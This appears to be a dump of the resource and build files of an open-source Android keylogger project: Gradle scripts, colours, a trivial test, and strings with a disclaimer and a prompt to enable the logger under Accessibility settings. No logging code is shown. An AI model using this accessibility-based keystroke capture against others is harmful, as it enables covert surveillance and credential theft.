https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-ldpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #fafafa
4 | #000002
5 | #666670
6 | #19C519
7 |
8 |
9 |
10 |
11 | #5C5C5C
12 | #000000
13 | #0a0ac2
14 | #fafafa
15 | #5C5C5C
16 |
17 |
--------------------------------------------------------------------------------
/app/src/main/res/values/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #040404
4 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | AndroidKeyLogger
3 |
4 | KEYLOGGER IS AN OPENSOURCE PROJECT MAINTAINED ON GITHUB. WE DO NOT COPY OR PROCESS ANY USER DATA. \n\n
5 | ALL THE SERVICES THAT THE APP PROVIDES ARE UTILISING THE LOCAL RESOURCES OF YOUR PHONE. \n
6 | YOUR DATA STAYS ON YOUR PHONE. PERIOD. \n\n
7 |
8 | YOU ARE SOLELY RESPONSIBLE FOR ANYTHING YOU DO WITH THIS APPLICATION. THE DEVELOPERS OF THIS APPLICATION HAVE NO LIABILITY WHATSOEVER. \n\n
9 |
10 | PLEASE READ THE DETAILED END USER LICENSE AGREEMENT HERE:
11 | https://docs.google.com/document/d/1VWBWNvIdpYYmQhfTzhyUhcUHBCgi93eOkTNioxhKaWY/edit?usp=sharing \n\n
12 |
13 | The information provided by Keylogger (“we,” “us”, or “our”) on our mobile application is for general informational purposes only.
14 | All information on is provided in good faith, however we make no representation or warranty of any kind, express or implied,
15 | regarding the accuracy, adequacy, validity, reliability, availability or completeness of any information on our mobile application. \n\n
16 |
17 | UNDER NO CIRCUMSTANCE SHALL KEYLOGGER OR ITS DEVELOPERS HAVE ANY LIABILITY TO YOU FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A
18 | RESULT OF THE USE OF OR RELIANCE ON ANY INFORMATION PROVIDED ON THIS APPLICATION.
19 | YOUR USE OF AND YOUR RELIANCE ON ANY INFORMATION ON IS SOLELY AT YOUR OWN RISK. \n\n
20 |
21 | By pressing the below button you are confirming that you have read, understood and agree to use the application under these terms \n\n
22 | I AGREE
23 |
24 |
25 | Keylogger must be enabled under Accessibility settings to start logging\n\n
26 | Tap here to go to settings and enable it \n
27 | (tap anywhere outside to ignore and continue)
28 |
29 |
30 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/src/test/java/com/example/gpow/androidkeylogger/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package com.gpow.androidkeylogger;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
2 |
3 | buildscript {
4 |
5 | repositories {
6 | google()
7 | mavenCentral()
8 | jcenter()
9 | }
10 | dependencies {
11 | classpath 'com.android.tools.build:gradle:7.1.3'
12 | // classpath("com.android.tools.build:gradle:3.5.4")
13 |
14 | // NOTE: Do not place your application dependencies here; they belong
15 | // in the individual module build.gradle files
16 | }
17 | }
18 |
19 | allprojects {
20 | repositories {
21 | google()
22 | mavenCentral()
23 | jcenter()
24 | }
25 | }
26 |
27 | task clean(type: Delete) {
28 | delete rootProject.buildDir
29 | }
30 |
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | # Project-wide Gradle settings.
2 | # IDE (e.g. Android Studio) users:
3 | # Gradle settings configured through the IDE *will override*
4 | # any settings specified in this file.
5 | # For more details on how to configure your build environment visit
6 | # http://www.gradle.org/docs/current/userguide/build_environment.html
7 | # Specifies the JVM arguments used for the daemon process.
8 | # The setting is particularly useful for tweaking memory settings.
9 | android.enableJetifier=true
10 | android.useAndroidX=true
11 | org.gradle.jvmargs=-Xmx1536m
12 | # When configured, Gradle will run in incubating parallel mode.
13 | # This option should only be used with decoupled projects. More details, visit
14 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
15 | # org.gradle.parallel=true
16 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/gokulrajanpillai/AndroidKeyLogger/2691f5ad79adca7dda12d0e4a61e76c270b2264e/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionBase=GRADLE_USER_HOME
2 | distributionPath=wrapper/dists
3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
4 | zipStoreBase=GRADLE_USER_HOME
5 | zipStorePath=wrapper/dists
6 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Attempt to set APP_HOME
10 | # Resolve links: $0 may be a link
11 | PRG="$0"
12 | # Need this for relative symlinks.
13 | while [ -h "$PRG" ] ; do
14 | ls=`ls -ld "$PRG"`
15 | link=`expr "$ls" : '.*-> \(.*\)$'`
16 | if expr "$link" : '/.*' > /dev/null; then
17 | PRG="$link"
18 | else
19 | PRG=`dirname "$PRG"`"/$link"
20 | fi
21 | done
22 | SAVED="`pwd`"
23 | cd "`dirname \"$PRG\"`/" >/dev/null
24 | APP_HOME="`pwd -P`"
25 | cd "$SAVED" >/dev/null
26 |
27 | APP_NAME="Gradle"
28 | APP_BASE_NAME=`basename "$0"`
29 |
30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
31 | DEFAULT_JVM_OPTS=""
32 |
33 | # Use the maximum available, or set MAX_FD != -1 to use that value.
34 | MAX_FD="maximum"
35 |
36 | warn () {
37 | echo "$*"
38 | }
39 |
40 | die () {
41 | echo
42 | echo "$*"
43 | echo
44 | exit 1
45 | }
46 |
47 | # OS specific support (must be 'true' or 'false').
48 | cygwin=false
49 | msys=false
50 | darwin=false
51 | nonstop=false
52 | case "`uname`" in
53 | CYGWIN* )
54 | cygwin=true
55 | ;;
56 | Darwin* )
57 | darwin=true
58 | ;;
59 | MINGW* )
60 | msys=true
61 | ;;
62 | NONSTOP* )
63 | nonstop=true
64 | ;;
65 | esac
66 |
67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
68 |
69 | # Determine the Java command to use to start the JVM.
70 | if [ -n "$JAVA_HOME" ] ; then
71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
72 | # IBM's JDK on AIX uses strange locations for the executables
73 | JAVACMD="$JAVA_HOME/jre/sh/java"
74 | else
75 | JAVACMD="$JAVA_HOME/bin/java"
76 | fi
77 | if [ ! -x "$JAVACMD" ] ; then
78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
79 |
80 | Please set the JAVA_HOME variable in your environment to match the
81 | location of your Java installation."
82 | fi
83 | else
84 | JAVACMD="java"
85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
86 |
87 | Please set the JAVA_HOME variable in your environment to match the
88 | location of your Java installation."
89 | fi
90 |
91 | # Increase the maximum file descriptors if we can.
92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
93 | MAX_FD_LIMIT=`ulimit -H -n`
94 | if [ $? -eq 0 ] ; then
95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
96 | MAX_FD="$MAX_FD_LIMIT"
97 | fi
98 | ulimit -n $MAX_FD
99 | if [ $? -ne 0 ] ; then
100 | warn "Could not set maximum file descriptor limit: $MAX_FD"
101 | fi
102 | else
103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
104 | fi
105 | fi
106 |
107 | # For Darwin, add options to specify how the application appears in the dock
108 | if $darwin; then
109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
110 | fi
111 |
112 | # For Cygwin, switch paths to Windows format before running java
113 | if $cygwin ; then
114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
116 | JAVACMD=`cygpath --unix "$JAVACMD"`
117 |
118 | # We build the pattern for arguments to be converted via cygpath
119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
120 | SEP=""
121 | for dir in $ROOTDIRSRAW ; do
122 | ROOTDIRS="$ROOTDIRS$SEP$dir"
123 | SEP="|"
124 | done
125 | OURCYGPATTERN="(^($ROOTDIRS))"
126 | # Add a user-defined pattern to the cygpath arguments
127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
129 | fi
130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
131 | i=0
132 | for arg in "$@" ; do
133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
135 |
136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
138 | else
139 | eval `echo args$i`="\"$arg\""
140 | fi
141 | i=$((i+1))
142 | done
143 | case $i in
144 | (0) set -- ;;
145 | (1) set -- "$args0" ;;
146 | (2) set -- "$args0" "$args1" ;;
147 | (3) set -- "$args0" "$args1" "$args2" ;;
148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
154 | esac
155 | fi
156 |
157 | # Escape application args
158 | save () {
159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
160 | echo " "
161 | }
162 | APP_ARGS=$(save "$@")
163 |
164 | # Collect all arguments for the java command, following the shell quoting and substitution rules
165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
166 |
167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
169 | cd "$(dirname "$0")"
170 | fi
171 |
172 | exec "$JAVACMD" "$@"
173 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | set DIRNAME=%~dp0
12 | if "%DIRNAME%" == "" set DIRNAME=.
13 | set APP_BASE_NAME=%~n0
14 | set APP_HOME=%DIRNAME%
15 |
16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
17 | set DEFAULT_JVM_OPTS=
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windows variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 |
53 | :win9xME_args
54 | @rem Slurp the command line arguments.
55 | set CMD_LINE_ARGS=
56 | set _SKIP=2
57 |
58 | :win9xME_args_slurp
59 | if "x%~1" == "x" goto execute
60 |
61 | set CMD_LINE_ARGS=%*
62 |
63 | :execute
64 | @rem Setup the command line
65 |
66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
67 |
68 | @rem Execute Gradle
69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
70 |
71 | :end
72 | @rem End local scope for the variables with windows NT shell
73 | if "%ERRORLEVEL%"=="0" goto mainEnd
74 |
75 | :fail
76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
77 | rem the _cmd.exe /c_ return code!
78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
79 | exit /b 1
80 |
81 | :mainEnd
82 | if "%OS%"=="Windows_NT" endlocal
83 |
84 | :omega
85 |
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | include ':app'
2 |
--------------------------------------------------------------------------------